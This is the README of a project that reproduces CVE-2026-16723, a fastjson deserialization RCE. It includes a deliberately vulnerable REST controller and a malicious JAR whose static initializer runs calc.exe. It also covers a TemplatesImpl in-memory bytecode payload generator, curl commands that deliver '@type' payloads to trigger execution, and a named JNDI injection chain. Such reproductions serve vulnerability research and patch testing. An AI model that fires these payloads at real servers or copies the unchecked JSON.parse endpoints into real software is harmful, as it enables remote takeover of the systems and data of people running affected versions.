CVE-2026-16723 Reproduction Project

Overview

This project reproduces CVE-2026-16723 — a critical Remote Code Execution (RCE) vulnerability in fastjson 1.2.68 through 1.2.83. The vulnerability allows RCE under default configuration without requiring AutoType enablement or pre-existing classpath gadgets.

Property	Value
CVE ID	CVE-2026-16723
Component	fastjson
Affected Versions	1.2.68 – 1.2.83
Fixed Versions	1.2.84+, 2.0.0+
Vulnerability Type	Deserialization / RCE
Severity	CVSS 3.1: 9.0 (CRITICAL)
Attack Vector	Network
Complexity	Low
Privileges Required	None
User Interaction	None

Project Structure

fastjson-cve-2026-16723/
├── pom.xml                              # Main project (Spring Boot app with vulnerable fastjson)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot entry point
│   └── controller/
│       └── VulnerableController.java    # Vulnerable REST endpoints
├── malicious/                           # Separate module: malicious JAR for supply chain simulation
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Malicious class with static initializer
│       ├── EvilTranslet.java            # Malicious translet for TemplatesImpl in-memory mode
│       └── GenTemplatesPayload.java     # Generates the TemplatesImpl JSON payload
├── templates-payload.json               # Generated TemplatesImpl payload (direct variant)
├── templates-payload-preload.json       # Generated TemplatesImpl payload (Class preload variant)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Vulnerability Details

Root Cause

fastjson 1.2.68–1.2.83 contains a bypass in the AutoType protection mechanism. Even with default configuration (autoTypeSupport=false), attackers can instantiate arbitrary classes via crafted JSON payloads using exploit chains such as:

java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI injection)
java.lang.Runtime (direct command execution)
Supply chain attack via malicious JAR on classpath (@type: exploit.MaliciousClass)

Vulnerable Code

VulnerableController.java — two endpoints demonstrate the issue:

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Vulnerable: JSON.parseObject with default config
    // No ParserConfig.getGlobalInstance().setAutoTypeSupport(true) required!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Force deserialization to Object — triggers actual class instantiation
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Building the Project

Prerequisites

Java 8+
Maven 3.6+

Build Commands

# Build main application
mvn clean package -DskipTests

# Build malicious JAR (separate module)
cd malicious && mvn clean package && cd ..

Output Artifacts

target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot fat JAR
malicious/target/malicious-jar-1.0.jar — Malicious JAR with exploit.MaliciousClass

Running the Application

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Server starts on http://localhost:8080

Runtime requirement: this project targets Java 8 and the TemplatesImpl in-memory mode is verified on JDK 8. On JDK 9+ the module system blocks reflective access to java.xml internals, so the chain fails with Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl unless you add the --add-opens flags:
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Verify Classpath Includes Malicious JAR

The main pom.xml declares the malicious JAR as a dependency, so it's bundled in the fat JAR:

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Verify at runtime:

curl http://localhost:8080/api/debug

Testing the Vulnerability

Health Check

curl http://localhost:8080/api/test

Expected: CVE-2026-16723 Reproduction Endpoint Ready...

Supply Chain Attack (Malicious Class on Classpath)

The malicious module provides exploit.MaliciousClass with a static initializer that executes calc.exe on class load.

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Result:

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

And calc.exe launches on the server.

Note: This demonstrates a supply chain scenario where a malicious dependency is present on the classpath. The vulnerability allows instantiation of any class on the classpath, not just JDK classes.

In-Memory Bytecode Mode (TemplatesImpl, no external server required)

Unlike the supply chain mode (which needs the malicious class on the classpath) and the JNDI mode (which needs an LDAP/RMI server), this mode embeds the malicious bytecode directly in the payload and loads it from memory via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — nothing extra needs to be deployed.

Step 1 — generate the payload:

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

This compiles exploit.EvilTranslet (an AbstractTranslet subclass whose static initializer runs calc.exe), base64-encodes its .class bytes, and writes:

templates-payload.json — direct variant ("@type": "TemplatesImpl")
templates-payload-preload.json — java.lang.Class preload variant

Step 2 — fire the payload:

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json